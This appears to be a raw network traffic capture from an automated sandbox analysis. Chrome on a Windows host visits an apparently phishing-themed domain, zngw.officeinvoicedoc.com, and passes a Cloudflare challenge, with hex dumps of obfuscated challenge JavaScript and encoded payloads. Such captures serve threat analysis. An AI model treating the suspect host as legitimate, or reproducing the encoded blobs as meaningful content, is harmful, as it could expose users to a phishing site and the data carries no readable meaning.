2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 39 35 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 49 28 31 32 38 36 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 49 28 31 32 30 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 57 29 7b 69 66 28 68 57 3d 67 49 2c 65 4d 5b 68 57 28 31 32 38 36 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 57 28 31 32 38 36 29 5d 3d 21 21 5b 5d 7d 2c 66 79 3d 30 2c 65 4e 5b 67 49 28 31 30 36 36 29 5d 3d 3d 3d 67 49 28 33 37 37 29 3f 65 4e 5b 67 49 28 31 31 34 34 29 5d 28 67 49 28 35 36 34 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 42 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 42 2c 30 29 2c 65 4d 5b 67 49 28 37 37 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 37 2c 64 2c 65 2c 66 2c 67 29 7b 69 37 3d 67 49 2c 64 3d 7b 7d 2c 64 5b 69 37 28 37 34 30 29 5d 3d 69 37 28 Data Ascii: 95)]('')},eM[gI(1286)]=![],eM[gI(1203)]=function(hW){if(hW=gI,eM[hW(1286)])return;eM[hW(1286)]=!![]},fy=0,eN[gI(1066)]===gI(377)?eN[gI(1144)](gI(564),function(){setTimeout(fB,0)}):setTimeout(fB,0),eM[gI(777)]=function(i7,d,e,f,g){i7=gI,d={},d[i7(740)]=i7(
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 5b 69 39 28 31 33 36 35 29 5d 28 6f 2c 6d 2c 21 21 5b 5d 29 2c 6e 5b 69 39 28 37 31 33 29 5d 3d 32 35 30 30 2c 6e 5b 69 39 28 31 31 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6e 5b 69 39 28 31 32 37 37 29 5d 28 6a 5b 69 39 28 39 34 33 29 5d 2c 6a 5b 69 39 28 31 31 39 31 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 69 39 28 31 33 33 35 29 5d 3d 66 2c 73 2e 63 63 3d 67 2c 73 5b 69 39 28 36 31 39 29 5d 3d 6b 2c 78 3d 4a 53 4f 4e 5b 69 39 28 31 31 38 38 29 5d 28 73 29 2c 42 3d 67 47 5b 69 39 28 35 34 31 29 5d 28 78 29 5b 69 39 28 31 31 31 39 29 5d 28 27 2b 27 2c 6a 5b 69 39 28 34 37 38 29 5d 29 2c 6e 5b 69 39 28 39 35 31 29 5d 28 27 76 5f 27 2b 65 4d 5b 69 39 28 31 31 34 38 29 5d 5b 69 39 28 31 36 38 32 29 5d 2b 27 3d 27 2b 42 29 7d 63 61 74 63 68 28 43 29 7b Data Ascii: [i9(1365)](o,m,!![]),n[i9(713)]=2500,n[i9(1152)]=function(){},n[i9(1277)](j[i9(943)],j[i9(1191)]),s={},s[i9(1335)]=f,s.cc=g,s[i9(619)]=k,x=JSON[i9(1188)](s),B=gG[i9(541)](x)[i9(1119)]('+',j[i9(478)]),n[i9(951)]('v_'+eM[i9(1148)][i9(1682)]+'='+B)}catch(C){
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 29 7b 67 45 28 29 7d 2c 31 65 33 29 3a 67 26 26 67 5b 6a 38 28 36 31 39 29 5d 3d 3d 3d 66 5b 6a 38 28 35 32 37 29 5d 26 26 67 5b 6a 38 28 31 35 33 31 29 5d 3d 3d 3d 66 5b 6a 38 28 31 33 38 34 29 5d 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 67 62 29 7d 29 2c 67 64 3d 21 5b 5d 2c 21 66 47 28 67 49 28 31 33 33 32 29 29 26 26 28 67 45 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 6a 4e 2c 63 2c 64 2c 65 2c 68 29 7b 69 66 28 6a 4e 3d 67 49 2c 63 3d 7b 27 76 41 41 64 4f 27 3a 6a 4e 28 31 32 35 32 29 2c 27 62 41 72 76 47 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 7c 67 7d 2c 27 57 52 74 66 45 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2b 67 7d 2c 27 6d 66 41 Data Ascii: tion(){gE()},1e3):g&&g[j8(619)]===f[j8(527)]&&g[j8(1531)]===f[j8(1384)]&&clearInterval(gb)}),gd=![],!fG(gI(1332))&&(gE(),setInterval(function(jN,c,d,e,h){if(jN=gI,c={'vAAdO':jN(1252),'bArvG':function(f,g){return f\|g},'WRtfE':function(f,g){return f+g},'mfA
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 59 64 59 56 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 48 6b 77 72 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 43 47 57 79 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 69 59 75 47 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 50 43 48 51 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 58 59 74 76 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 4d 59 57 53 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 Data Ascii: f':function(h,i){return h<i},'YdYVI':function(h,i){return h>i},'Hkwrg':function(h,i){return h<<i},'CGWyD':function(h,i){return h-i},'iYuGg':function(h,i){return h(i)},'PCHQh':function(h,i){return h<i},'XYtvd':function(h,i){return h\|i},'MYWSz':function(h,i
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 3d 69 7d 2c 27 41 71 6f 4c 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 44 4e 44 52 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 55 4b 6d 6c 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 4f 28 39 33 39 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 6a 50 29 7b 72 65 74 75 72 6e 20 6a 50 3d 6a 4f 2c 64 5b 6a 50 28 36 33 33 29 5d 21 3d 3d 6a 50 28 33 34 35 29 3f 76 6f 69 64 20 30 3a 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 6a 2c 6a 51 29 7b 72 65 74 75 72 6e 20 6a 51 3d 6a 50 2c 64 5b 6a 51 28 31 35 36 30 29 5d 5b 6a 51 28 37 37 31 Data Ascii: =i},'AqoLS':function(h,i){return h(i)},'DNDRw':function(h,i){return h+i},'UKmlb':function(h,i){return i==h}},e=String[jO(939)],f={'h':function(h,jP){return jP=jO,d[jP(633)]!==jP(345)?void 0:h==null?'':f.g(h,6,function(j,jQ){return jQ=jP,d[jQ(1560)][jQ(771
2024-08-28 11:52:38 UTC	1369	IN	Data Raw: 2c 43 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 52 28 36 31 32 29 5d 5b 6a 52 28 34 35 30 29 5d 5b 6a 52 28 31 31 37 34 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 6a 52 28 31 36 39 30 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 64 5b 6a 52 28 31 34 37 30 29 5d 28 49 2c 64 5b 6a 52 28 31 36 31 38 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 6a 52 28 31 32 33 38 29 5d 28 64 5b 6a 52 28 31 34 33 33 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 52 28 31 36 39 30 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 48 3c 3c 31 7c 31 2e 37 33 26 4d 2c 49 3d 3d 64 5b 6a 52 28 31 36 33 36 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 52 28 31 32 33 38 29 5d 28 6f 28 48 29 Data Ascii: ,C)){if(Object[jR(612)][jR(450)][jR(1174)](B,C)){if(256>C[jR(1690)](0)){for(s=0;s<F;H<<=1,d[jR(1470)](I,d[jR(1618)](j,1))?(I=0,G[jR(1238)](d[jR(1433)](o,H)),H=0):I++,s++);for(M=C[jR(1690)](0),s=0;8>s;H=H<<1\|1.73&M,I==d[jR(1636)](j,1)?(I=0,G[jR(1238)](o(H)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49719	104.26.7.122	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:38 UTC	658	OUT	GET /favicon.ico HTTP/1.1 Host: zngw.officeinvoicedoc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zngw.officeinvoicedoc.com/DhpuI/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=te925qf1g9s7hq3k8307e10371
2024-08-28 11:52:39 UTC	606	IN	HTTP/1.1 404 Not Found Date: Wed, 28 Aug 2024 11:52:39 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba418ab4d5f42b8-EWR
2024-08-28 11:52:39 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-08-28 11:52:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49720	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:38 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3087 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 143f2506b8683a0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:38 UTC	3087	OUT	Data Raw: 76 5f 38 62 61 34 31 38 61 31 65 61 61 39 34 32 33 62 3d 4c 41 64 54 43 54 75 54 6c 54 44 54 69 54 72 35 68 32 35 68 30 74 4b 30 4b 44 39 63 4b 39 68 4b 74 51 44 6f 4b 46 51 68 67 35 68 4b 6f 30 68 66 68 6b 4f 68 67 30 53 49 4b 4a 68 43 54 68 58 71 68 71 6b 6c 68 4b 6c 68 6f 74 4b 61 43 45 52 62 6d 53 68 38 54 24 57 68 6b 57 64 75 64 68 39 73 49 39 52 51 6e 49 67 51 68 46 24 54 34 54 68 4f 54 75 57 6c 47 6d 68 51 41 68 72 36 65 65 76 78 66 35 67 65 6a 53 7a 6d 34 43 25 32 62 39 44 53 56 61 34 30 38 64 49 4b 37 36 68 68 58 51 32 53 53 4f 6c 2d 63 43 48 24 68 53 74 68 43 52 37 68 4f 68 73 6f 61 36 68 68 45 43 4f 53 4e 6d 64 4b 33 68 39 6f 68 67 4f 58 74 2d 2d 4b 4c 51 64 54 68 6d 74 68 6a 51 36 30 7a 43 2d 68 4c 67 68 66 38 31 54 54 6b 54 4b 55 49 7a 50 64 Data Ascii: v_8ba418a1eaa9423b=LAdTCTuTlTDTiTr5h25h0tK0KD9cK9hKtQDoKFQhg5hKo0hfhkOhg0SIKJhCThXqhqklhKlhotKaCERbmSh8T$WhkWdudh9sI9RQnIgQhF$T4ThOTuWlGmhQAhr6eevxf5gejSzm4C%2b9DSVa408dIK76hhXQ2SSOl-cCH$hSthCR7hOhsoa6hhECOSNmdK3h9ohgOXt--KLQdThmthjQ60zC-hLghf81TTkTKUIzPd
2024-08-28 11:52:39 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 151448 Connection: close cf-chl-gen: bOPaDVoXW4G5eAn4J/+uIC45vtmrwc2iuutJloG7P2ELYNQYzV6jfjPzq5E+sB/5nerqzQEujSo72qX0UM3XHhpGtamWbyCvQ3fg70DoSPGYs6cP+doqIyQGxXhB5mr390JkOuqjSQ2TZRQr4RHk7+KPbUJ/87YnqFHWuPJryZtWAkPgLfAjWDcRDJsCENQqPUMW3BB+PevBBnUEZCQ0zveQHzjVXvgMJkwTMwbGyLyWIn0sPkbgMJnfrE/9TdS2ozwfxmhs2ExNjrOkDNHANaHcHGobQ5wfl2yOSnYOzv8CFgPNlQEOIZMzf6GvmifuEtibyYXlKKChp4xvD88IcXMWYwcxr5krVBrtcOtlXoboWKtpLpu1jjOPJkueJZVuRTzBxCziWKKAJakgGw0jFUz5XqPEbSJNfAYrvv/k1/76knQ8R7HMEsXGMPQnUvROJffpEzC6LDSaJBrf5Od2dk4KIxPtOOdoBd5gRHar5bWTUHI=$bFFt6p2G9GtN4fI8 Server: cloudflare CF-RAY: 8ba418abf9bb41c0-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:39 UTC	622	IN	Data Raw: 6a 46 65 42 69 6d 4a 4f 54 31 32 51 66 48 61 47 5a 49 39 68 64 5a 4b 45 6e 58 43 55 69 48 53 54 6b 48 43 69 6b 6f 61 54 65 49 6c 6b 67 6f 43 50 5a 6f 75 43 66 6d 36 43 6a 4c 42 70 62 72 4a 7a 65 6e 65 72 75 4c 4b 49 66 70 6d 56 77 6f 53 32 6b 4c 61 62 68 5a 2b 66 6c 62 6d 5a 77 4b 47 6f 77 63 2f 56 31 61 37 52 7a 39 61 75 70 38 2f 65 74 62 75 78 31 37 62 57 76 4d 43 6c 33 72 47 79 79 4b 57 6c 72 64 7a 78 77 38 61 37 72 62 50 73 31 64 61 78 2b 4e 6e 61 74 66 4c 6e 38 2f 54 35 38 50 72 58 39 75 62 64 30 75 54 43 79 2f 72 63 79 73 2f 2b 33 68 55 42 37 78 6a 70 43 52 54 74 46 77 6a 63 45 66 44 38 30 77 34 64 42 4f 37 67 45 67 4d 49 34 67 51 6d 4a 2f 63 75 4b 68 37 70 4d 68 55 71 39 6a 55 4c 47 77 77 58 4c 2f 77 78 41 50 6f 75 41 44 77 63 4c 30 51 69 47 45 46 Data Ascii: jFeBimJOT12QfHaGZI9hdZKEnXCUiHSTkHCikoaTeIlkgoCPZouCfm6CjLBpbrJzeneruLKIfpmVwoS2kLabhZ+flbmZwKGowc/V1a7Rz9aup8/etbux17bWvMCl3rGyyKWlrdzxw8a7rbPs1dax+NnatfLn8/T58PrX9ubd0uTCy/rcys/+3hUB7xjpCRTtFwjcEfD80w4dBO7gEgMI4gQmJ/cuKh7pMhUq9jULGwwXL/wxAPouADwcL0QiGEF
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 77 78 50 6d 4d 61 49 43 56 52 47 52 39 6e 51 6c 73 35 4f 57 52 58 52 57 42 44 58 32 68 6e 62 47 74 49 63 45 74 75 4f 45 64 63 64 31 68 4e 64 6e 56 63 55 57 61 47 59 57 42 59 57 6f 4a 63 5a 31 31 76 67 32 31 77 67 6c 42 30 67 47 35 31 68 70 4b 54 57 33 70 2b 61 70 56 78 59 31 61 6b 63 61 43 47 68 59 69 6b 66 5a 31 75 72 34 6d 66 69 61 79 41 6f 59 61 48 6c 4c 71 61 73 4b 57 4a 73 72 69 55 6c 4c 71 55 6d 37 47 46 77 6f 69 79 68 63 75 70 6a 62 36 74 71 64 47 4b 69 35 53 74 74 73 65 70 6a 37 61 36 6d 4e 4b 32 6d 4c 53 73 34 71 2b 32 73 4c 32 37 6e 36 66 61 32 4f 33 64 78 72 2f 66 30 73 4c 77 34 75 79 74 38 4f 2f 75 74 63 2f 63 32 74 2f 53 41 50 76 52 41 64 7a 33 30 2f 37 45 33 77 6a 66 33 4f 67 48 34 64 6e 6e 36 41 37 63 45 73 38 52 36 51 33 6f 37 39 66 2b 32 Data Ascii: wxPmMaICVRGR9nQls5OWRXRWBDX2hnbGtIcEtuOEdcd1hNdnVcUWaGYWBYWoJcZ11vg21wglB0gG51hpKTW3p+apVxY1akcaCGhYikfZ1ur4mfiayAoYaHlLqasKWJsriUlLqUm7GFwoiyhcupjb6tqdGKi5Sttsepj7a6mNK2mLSs4q+2sL27n6fa2O3dxr/f0sLw4uyt8O/utc/c2t/SAPvRAdz30/7E3wjf3OgH4dnn6A7cEs8R6Q3o79f+2
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 33 59 6b 5a 54 4a 31 30 37 57 44 68 6d 4b 30 38 2f 51 53 30 6e 53 48 56 30 56 47 6c 35 61 47 70 2b 66 33 79 43 59 34 4e 77 51 6b 4f 46 68 47 64 32 58 34 52 4d 59 55 36 41 68 55 39 6b 58 34 4e 74 55 33 5a 34 55 57 31 61 6d 35 35 32 55 6c 6c 63 67 31 74 38 67 32 53 5a 70 57 4b 5a 61 47 4e 2f 6d 36 4b 44 62 6f 71 4d 6f 5a 65 47 6f 4b 4b 4f 71 70 4b 39 6d 33 65 62 6f 62 69 55 6b 35 39 2b 6e 4a 6d 70 67 35 79 46 69 72 69 65 6d 37 4c 4b 75 36 6e 46 6f 49 32 6c 70 39 6e 57 6d 72 36 56 79 64 43 2b 77 72 37 65 6f 38 4f 79 70 62 58 48 35 4f 62 4d 77 71 76 47 75 63 6e 30 37 36 76 49 78 66 66 4a 79 74 47 7a 78 74 71 31 30 64 76 2b 30 76 79 38 41 67 48 6f 2f 51 7a 71 42 76 6e 36 79 38 4c 35 38 41 66 47 2f 63 2f 30 43 77 66 56 35 42 58 2b 2f 75 6a 64 2b 50 45 62 31 68 Data Ascii: 3YkZTJ107WDhmK08/QS0nSHV0VGl5aGp+f3yCY4NwQkOFhGd2X4RMYU6AhU9kX4NtU3Z4UW1am552Ullcg1t8g2SZpWKZaGN/m6KDboqMoZeGoKKOqpK9m3ebobiUk59+nJmpg5yFiriem7LKu6nFoI2lp9nWmr6VydC+wr7eo8OypbXH5ObMwqvGucn076vIxffJytGzxtq10dv+0vy8AgHo/QzqBvn6y8L58AfG/c/0CwfV5BX+/ujd+PEb1h
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 4b 57 64 6b 4b 6b 6b 2b 4c 32 59 2b 54 6c 42 31 51 6b 70 72 4f 55 31 65 50 57 78 4f 64 58 70 63 66 45 4e 48 64 34 64 61 64 6d 78 6c 52 34 52 4f 66 6c 4a 52 54 56 4a 73 69 46 56 5a 63 59 4f 62 6d 5a 78 2f 58 35 36 5a 65 6e 61 44 6d 5a 35 77 61 4b 46 34 67 49 65 4b 72 32 2b 45 71 6d 36 6c 68 48 36 75 62 36 4b 32 6b 61 75 4e 76 6e 65 31 74 71 4e 39 66 5a 61 76 6f 49 53 32 6d 62 32 35 76 71 61 4d 78 38 43 69 7a 36 79 4e 6c 5a 43 67 32 4d 79 30 6b 72 57 31 71 74 37 52 72 39 48 52 6f 4f 48 55 32 4e 2f 5a 74 62 6e 42 37 4e 6d 38 77 4d 72 50 77 74 50 70 77 72 69 32 73 2b 37 6e 7a 4f 62 56 38 62 50 79 41 4e 37 67 76 66 37 66 33 76 4c 31 42 2f 30 49 37 63 67 4d 35 66 49 4b 45 4f 6a 31 46 42 49 54 39 64 72 54 43 77 73 4b 32 51 48 36 46 52 49 47 38 4e 38 56 42 69 7a Data Ascii: KWdkKkk+L2Y+TlB1QkprOU1ePWxOdXpcfENHd4dadmxlR4ROflJRTVJsiFVZcYObmZx/X56ZenaDmZ5waKF4gIeKr2+Eqm6lhH6ub6K2kauNvne1tqN9fZavoIS2mb25vqaMx8Ciz6yNlZCg2My0krW1qt7Rr9HRoOHU2N/ZtbnB7Nm8wMrPwtPpwri2s+7nzObV8bPyAN7gvf7f3vL1B/0I7cgM5fIKEOj1FBIT9drTCwsK2QH6FRIG8N8VBiz
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 7a 4a 4c 54 55 56 6e 54 53 78 48 63 6c 46 32 62 6e 61 42 63 47 39 50 67 31 35 76 68 59 53 47 56 57 52 6e 68 45 35 6b 61 6e 39 63 5a 30 39 6f 62 33 61 51 54 47 79 58 6a 6d 6c 56 67 56 78 5a 6b 36 47 64 63 4a 57 65 68 5a 4a 7a 65 4b 36 44 72 49 4b 50 70 61 70 39 72 48 47 67 71 34 32 70 67 33 71 62 74 58 36 36 73 5a 50 45 66 71 2b 6b 6b 4a 4f 49 6c 71 6d 6a 6c 36 37 46 78 70 37 54 78 61 71 71 6a 71 2f 5a 72 39 65 33 70 70 32 61 30 63 33 56 30 5a 2b 76 75 35 32 34 73 4d 48 46 33 63 66 70 37 4f 54 51 7a 62 72 4e 73 4d 58 4d 34 66 4c 35 39 63 50 74 79 2f 66 35 41 74 58 65 41 65 34 46 77 2b 67 4b 77 41 63 4d 43 63 4d 41 41 77 76 4c 2b 2f 4c 4f 39 75 48 71 79 75 37 35 48 42 72 73 36 77 7a 75 44 2f 33 75 47 68 6e 36 49 76 59 6f 35 43 45 4d 39 76 73 6d 41 66 76 38 Data Ascii: zJLTUVnTSxHclF2bnaBcG9Pg15vhYSGVWRnhE5kan9cZ09ob3aQTGyXjmlVgVxZk6GdcJWehZJzeK6DrIKPpap9rHGgq42pg3qbtX66sZPEfq+kkJOIlqmjl67Fxp7Txaqqjq/Zr9e3pp2a0c3V0Z+vu524sMHF3cfp7OTQzbrNsMXM4fL59cPty/f5AtXeAe4Fw+gKwAcMCcMAAwvL+/LO9uHqyu75HBrs6wzuD/3uGhn6IvYo5CEM9vsmAfv8
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 39 79 63 31 35 30 52 7a 34 36 54 56 52 44 68 6b 52 54 66 59 46 6c 67 55 52 68 52 58 39 70 55 49 52 69 69 34 75 52 69 34 4f 51 65 57 68 6e 6d 48 70 70 6b 35 78 30 6c 32 53 6a 5a 49 4a 77 70 58 2b 6a 68 32 79 4b 68 59 36 76 6f 34 31 72 68 72 61 51 67 4a 43 55 72 49 79 58 6b 37 61 65 74 72 4f 64 66 49 57 46 6b 4d 69 54 6c 61 79 59 68 5a 75 38 76 6f 71 2b 70 72 33 56 71 39 65 57 74 36 58 51 6d 37 6a 66 71 35 6a 41 75 37 69 39 32 36 37 57 76 4f 66 70 32 39 57 34 35 74 72 65 36 61 6d 72 78 4f 33 4a 30 75 72 46 2b 2b 66 4d 32 2f 44 31 41 74 62 37 77 66 30 43 31 62 37 2b 41 74 2f 5a 35 2f 58 59 79 74 72 68 37 77 54 6e 30 4f 63 54 36 74 59 45 39 4e 6f 58 45 2f 37 79 43 76 30 45 37 78 72 36 45 41 58 32 38 75 51 56 35 66 6f 4f 45 69 59 78 2f 43 6b 56 45 6a 6e 30 46 Data Ascii: 9yc150Rz46TVRDhkRTfYFlgURhRX9pUIRii4uRi4OQeWhnmHppk5x0l2SjZIJwpX+jh2yKhY6vo41rhraQgJCUrIyXk7aetrOdfIWFkMiTlayYhZu8voq+pr3Vq9eWt6XQm7jfq5jAu7i9267WvOfp29W45tre6amrxO3J0urF++fM2/D1Atb7wf0C1b7+At/Z5/XYytrh7wTn0OcT6tYE9NoXE/7yCv0E7xr6EAX28uQV5foOEiYx/CkVEjn0F
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 73 67 34 52 2f 57 33 70 7a 68 6b 4e 47 56 47 47 45 58 45 31 6f 6a 6b 68 69 58 33 4e 4f 5a 35 65 43 55 57 75 57 65 47 64 61 6e 6e 31 38 63 33 69 4f 70 32 57 41 70 49 4a 38 70 6e 74 6d 62 61 36 6c 69 49 53 49 6a 61 43 46 73 71 61 72 69 6f 53 79 69 48 57 33 66 37 64 39 68 4b 2b 69 70 4a 32 79 75 36 47 6c 71 34 36 73 76 39 44 4d 78 4c 50 55 30 4d 79 6e 6b 37 43 79 78 4b 2b 34 6c 74 32 36 76 36 2f 56 72 71 50 45 70 72 54 48 78 38 57 6d 77 73 58 6a 7a 39 50 65 79 4e 54 48 31 50 4c 55 72 4e 65 30 75 76 58 52 33 37 69 2b 30 76 50 53 2b 64 76 6f 39 39 62 65 2b 77 51 42 43 76 37 75 43 51 77 4d 31 4f 4c 73 2b 4f 6e 61 37 52 7a 54 36 52 72 34 41 64 2f 31 2b 2f 34 54 49 76 41 6a 4b 43 30 6e 37 51 38 41 37 77 44 71 38 75 6f 66 4a 43 77 5a 4f 6a 6e 37 4e 78 55 62 4d 67 Data Ascii: sg4R/W3pzhkNGVGGEXE1ojkhiX3NOZ5eCUWuWeGdann18c3iOp2WApIJ8pntmba6liISIjaCFsqarioSyiHW3f7d9hK+ipJ2yu6Glq46sv9DMxLPU0Mynk7CyxK+4lt26v6/VrqPEprTHx8WmwsXjz9PeyNTH1PLUrNe0uvXR37i+0vPS+dvo99be+wQBCv7uCQwM1OLs+Ona7RzT6Rr4Ad/1+/4TIvAjKC0n7Q8A7wDq8uofJCwZOjn7NxUbMg
